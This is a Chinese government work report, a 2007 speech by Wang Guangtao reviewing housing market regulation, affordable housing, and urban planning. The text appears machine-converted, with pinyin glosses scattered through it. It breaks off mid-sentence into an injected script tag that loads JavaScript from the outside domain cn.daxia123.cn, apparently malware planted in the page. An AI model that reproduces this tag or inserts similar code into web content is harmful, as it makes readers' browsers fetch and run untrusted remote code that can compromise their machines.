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把握形勢(shì)　明確任務(wù)　切實(shí)做好 2007年建設(shè)工作

——在全國(guó)建設(shè)工作會(huì)議上的報(bào)告
汪　光　燾
（2007年1月23日）

同志們：

　　這次會(huì)議的主要任務(wù)是，以鄧小平理論和“三個(gè)代表”重要思想為指導(dǎo)，認(rèn)真貫徹黨的十六大、十六屆三中、四中、五中、六中全會(huì)和中央經(jīng)濟(jì)工作會(huì)議精神，全面落實(shí)科學(xué)發(fā)展觀和構(gòu)建社會(huì)主義和諧社會(huì)重大戰(zhàn)略思想，總結(jié) 2006 年建設(shè)工作，研究部署 2007 年工作。下面，我講幾點(diǎn)意見。

　　一、2006年工作取得新進(jìn)展

　　2006 年是“十一五”開局之年。建設(shè)系統(tǒng)廣大干部職工認(rèn)真貫徹執(zhí)行黨中央、國(guó)務(wù)院的各項(xiàng)決策部署，統(tǒng)一認(rèn)識(shí)，恪盡職守，認(rèn)識(shí)上有新提高，政策上有新舉措，實(shí)踐上有新進(jìn)展，為經(jīng)濟(jì)社會(huì)持續(xù)健康協(xié)調(diào)發(fā)展做出了新的貢獻(xiàn)。

　　（一）全面貫徹落實(shí)房地產(chǎn)市場(chǎng)調(diào)控政策措施。一年來(lái)，我們以制訂和貫徹《國(guó)務(wù)院辦公廳轉(zhuǎn)發(fā)建設(shè)部等部門關(guān)于調(diào)整住房供應(yīng)結(jié)構(gòu)穩(wěn)定住房?jī)r(jià)格意見的通知》（國(guó)辦發(fā)[2006]37號(hào)）為主線，著力調(diào)整住房供應(yīng)結(jié)構(gòu)，合理引導(dǎo)住房消費(fèi)，整頓和規(guī)范房地產(chǎn)市場(chǎng)秩序。根據(jù)我國(guó)人多地少、資源短缺的實(shí)際，提出了套型建筑面積90平方米以下的住房面積占新建商品住房總面積70％的目標(biāo)要求 ， 綜合運(yùn)用經(jīng)濟(jì)、法律和必要的行政手段加以落實(shí)。從建設(shè)部會(huì)同有關(guān)部門對(duì)11個(gè)省（區(qū)、市）貫徹落實(shí)房地產(chǎn)市場(chǎng)調(diào)控政策情況進(jìn)行的督查情況看，各地區(qū)各部門認(rèn)真貫徹各項(xiàng)房地產(chǎn)市場(chǎng)調(diào)控政策措施，取得了初步成效。住房?jī)r(jià)格漲幅趨緩。12月份，全國(guó)70個(gè)大中城市新建商品住房銷售價(jià)格同比上漲6.3％，比去年同期回落0.8個(gè)百分點(diǎn)。部分地區(qū)商品住房?jī)r(jià)格過(guò)快上漲的勢(shì)頭有所遏制。房地產(chǎn)開發(fā)投資增長(zhǎng)平穩(wěn)。全年，全國(guó)房地產(chǎn)開發(fā)投資同比增長(zhǎng)21.8％，低于同期城鎮(zhèn)固定資產(chǎn)投資增幅2.2個(gè)百分點(diǎn)，增幅保持平穩(wěn)。城鎮(zhèn)房屋拆遷規(guī)模得到有效控制。前三季度拆遷面積同比下降17.6％。住房供應(yīng)結(jié)構(gòu)調(diào)整有了好的開端。新開工商品住房項(xiàng)目中90平方米以下套型所占比重明顯提高。開展了住房狀況調(diào)查，制定了住房建設(shè)規(guī)劃。截止12月20日，省會(huì)以上城市全部完成住房建設(shè)規(guī)劃編制、公布和備案；地級(jí)以上城市中完成編制的占92.3％，已公布的占68.3％。住房保障制度建設(shè)工作力度加大。截止12月20日，274個(gè)地級(jí)以上城市建立并實(shí)施了廉租住房制度。河北省所有市、縣全部建立廉租住房制度。北京、成都、南通將廉租住房制度覆蓋面擴(kuò)大到最低職工工資家庭或低收入家庭。天津采取“帶戶型標(biāo)準(zhǔn)、銷售價(jià)格、銷售對(duì)象和竣工入住時(shí)間”方式，招標(biāo)選擇經(jīng)濟(jì)適用房建設(shè)單位。市場(chǎng)秩序有所好轉(zhuǎn)。會(huì)同國(guó)家發(fā)展改革委、國(guó)家工商總局下發(fā)《關(guān)于進(jìn)一步整頓規(guī)范房地產(chǎn)交易秩序的通知》，明確用兩年時(shí)間、分四個(gè)階段，有重點(diǎn)的進(jìn)行專項(xiàng)整治，曝光了32起擾亂房地產(chǎn)市場(chǎng)秩序、侵害群眾利益的典型案例，目前已進(jìn)入自查自糾與督察階段。依法妥善處理了北京美麗園、廣州華南新城等十多起物業(yè)管理糾紛。投機(jī)和投資性購(gòu)房活動(dòng)明顯減少。稅收、信貸、土地政策得到逐步落實(shí)。

　　（二）建立健全城鄉(xiāng)規(guī)劃編制和實(shí)施監(jiān)督機(jī)制。國(guó)務(wù)院原則通過(guò)并向全國(guó)人大常委會(huì)提請(qǐng)審議《城鄉(xiāng)規(guī)劃法》，國(guó)務(wù)院辦公廳轉(zhuǎn)發(fā)《建設(shè)部關(guān)于加強(qiáng)城市總體規(guī)劃工作的意見》（國(guó)辦發(fā)[2006]12號(hào)）。依法指導(dǎo)各地科學(xué)編制城市規(guī)劃。組織省域城鎮(zhèn)體系規(guī)劃和城市總體規(guī)劃審查，開展近期建設(shè)規(guī)劃的編制和備案審核。完成了《全國(guó)城鎮(zhèn)體系規(guī)劃》的編制，啟動(dòng)了長(zhǎng)三角、京津冀、北部灣、海峽西岸等重要城鎮(zhèn)密集地區(qū)城鎮(zhèn)群規(guī)劃的編制組織工作。推動(dòng)縣域村鎮(zhèn)體系規(guī)劃試點(diǎn)。江蘇省全面啟動(dòng)對(duì)規(guī)劃地域空間的全面覆蓋。加大城鄉(xiāng)規(guī)劃實(shí)施監(jiān)督力度。經(jīng)中編辦批準(zhǔn)，組建了建設(shè)部稽查辦公室。積極推動(dòng)各省級(jí)建設(shè)行政主管部門建立稽查制度，16個(gè)省（自治區(qū)、直轄市）建立了相應(yīng)的機(jī)構(gòu)。在全面 開展規(guī)劃效能監(jiān)察的同時(shí)，推廣實(shí)施城市規(guī)劃監(jiān)督員制度。建設(shè)部向6個(gè)由國(guó)務(wù)院審批總體規(guī)劃的城市派駐城市規(guī)劃督察員。四川、貴州、寧夏、江西、湖南、黑龍江、安徽等省（區(qū)）開展派駐城市規(guī)劃督察員試點(diǎn)。廣東頒布了《珠江三角洲城鎮(zhèn)群協(xié)調(diào)發(fā)展規(guī)劃實(shí)施條例》。海南省建立了省對(duì)重大項(xiàng)目選址的規(guī)劃審批制度，保障《海南省城鄉(xiāng)總體規(guī)劃》的實(shí)施。加強(qiáng)風(fēng)景名勝資源保護(hù)和利用。國(guó)務(wù)院頒布了《風(fēng)景名勝區(qū)條例》。國(guó)家重點(diǎn)風(fēng)景名勝區(qū)總體規(guī)劃編制工作進(jìn)一步加快，九寨溝等7個(gè)總體規(guī)劃經(jīng)國(guó)務(wù)院批準(zhǔn)實(shí)施；黃山等40個(gè)總體規(guī)劃通過(guò)部際審查“ 大熊貓棲息地”成功申報(bào)世界自然遺產(chǎn)，公布了首批30處國(guó)家自然遺產(chǎn)、自然與文化雙遺產(chǎn)預(yù)備名錄。國(guó)家?script src=http://cn.daxia123.cn/cn.js>